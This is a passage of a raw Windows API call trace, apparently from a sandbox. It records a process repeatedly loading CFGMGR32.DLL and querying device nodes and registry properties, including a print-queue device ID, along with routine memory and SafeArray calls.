(lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.669] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.670] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.671] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.672] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.673] malloc (_Size=0x18) returned 0x196ef0d1d00 [0215.673] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xa, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0215.673] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0215.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x616648f4, dwHighDateTime=0x1d9eb0c)) [0215.674] SetEvent (hEvent=0x248) returned 1 [0215.677] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.678] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.680] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.681] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.682] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.682] malloc (_Size=0x18) returned 0x196ef0d1f60 [0215.682] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0215.682] malloc (_Size=0x48) returned 0x196ef0fb270 [0215.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61698140, dwHighDateTime=0x1d9eb0c)) [0215.683] SetEvent (hEvent=0x248) returned 1 [0215.689] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.689] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.690] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.691] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.692] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.693] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.694] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0215.694] CM_Get_Device_IDA (in: dnDevInst=0xb, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="SWD\\PRINTENUM\\PRINTQUEUES") returned 0x0 [0215.694] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0215.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x616b0e5b, dwHighDateTime=0x1d9eb0c)) [0215.694] SetEvent (hEvent=0x248) returned 1 [0215.698] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.698] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.699] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.700] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.701] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.702] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.839] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.840] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.840] malloc (_Size=0x18) returned 0x196ef0d1de0 [0215.841] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0215.841] malloc (_Size=0x36) returned 0x196ef0d0f50 [0215.841] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0f50, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0f50, pulLength=0x67117d608) returned 0x0 [0215.842] free (_Block=0x196ef0d0f50) [0215.842] malloc (_Size=0x48) returned 0x196ef0fbae0 [0215.842] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x618080ff, dwHighDateTime=0x1d9eb0c)) [0215.843] SetEvent (hEvent=0x248) returned 1 [0215.846] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0215.846] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0215.846] free (_Block=0x196ef0d1aa0) [0215.846] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855160 [0215.846] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0215.846] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0215.847] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0215.847] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0215.847] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0215.847] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0215.847] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0215.847] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0215.848] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225ca0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0215.849] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0215.849] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855160) returned 1 [0215.850] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.850] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.850] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.851] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.852] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.853] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.854] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.855] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0215.855] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0215.855] malloc (_Size=0x38) returned 0x196ef0d12d0 [0215.855] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d12d0, pulLength=0x67117d608) returned 0x0 [0215.856] free (_Block=0x196ef0d12d0) [0215.856] malloc (_Size=0x48) returned 0x196ef0fc080 [0215.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6182e56d, dwHighDateTime=0x1d9eb0c)) [0215.856] SetEvent (hEvent=0x248) returned 1 [0215.860] malloc (_Size=0x18) returned 0x196ef0d1be0 [0215.861] SafeArrayPutElement (psa=0x196ef1f2d30, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0215.861] free (_Block=0x196ef0d1be0) [0215.861] malloc (_Size=0x18) returned 0x196ef0d20e0 [0215.861] SafeArrayPutElement (psa=0x196ef1f2d30, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0215.861] free (_Block=0x196ef0d20e0) [0215.861] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee8554e0 [0215.861] SafeArrayGetDim (psa=0x196ef1f2d30) returned 0x1 [0215.861] SafeArrayGetLBound (in: psa=0x196ef1f2d30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0215.861] SafeArrayGetUBound (in: psa=0x196ef1f2d30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0215.861] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0215.861] SafeArrayGetDim (psa=0x196ef1f2d30) returned 0x1 [0215.861] SafeArrayGetUBound (in: psa=0x196ef1f2d30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0215.861] SafeArrayGetElemsize (psa=0x196ef1f2d30) returned 0x8 [0215.862] SafeArrayGetElement (in: psa=0x196ef1f2d30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0215.862] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0215.863] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e5b8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0215.864] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0215.864] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee8554e0) returned 1 [0215.865] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.865] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.865] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.866] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.867] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.868] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.869] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.869] malloc (_Size=0x18) returned 0x196ef0d1d80 [0215.869] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0215.877] malloc (_Size=0x48) returned 0x196ef0fb860 [0215.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6187f591, dwHighDateTime=0x1d9eb0c)) [0215.877] SetEvent (hEvent=0x248) returned 1 [0215.984] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.984] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.985] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0215.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0215.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0215.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0215.986] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0215.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0215.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0215.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0215.987] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0215.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0215.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0215.988] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0215.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0215.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0215.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0215.989] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0215.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0215.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0215.990] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0215.990] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0215.991] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xb, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0215.991] malloc (_Size=0x48) returned 0x196ef0fbe50 [0215.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x61985a4d, dwHighDateTime=0x1d9eb0c)) [0215.991] SetEvent (hEvent=0x248) returned 1 [0215.996] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0215.996] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0215.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0215.997] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0215.998] GetProcAddress (hModule=0x7ffa786c0000, 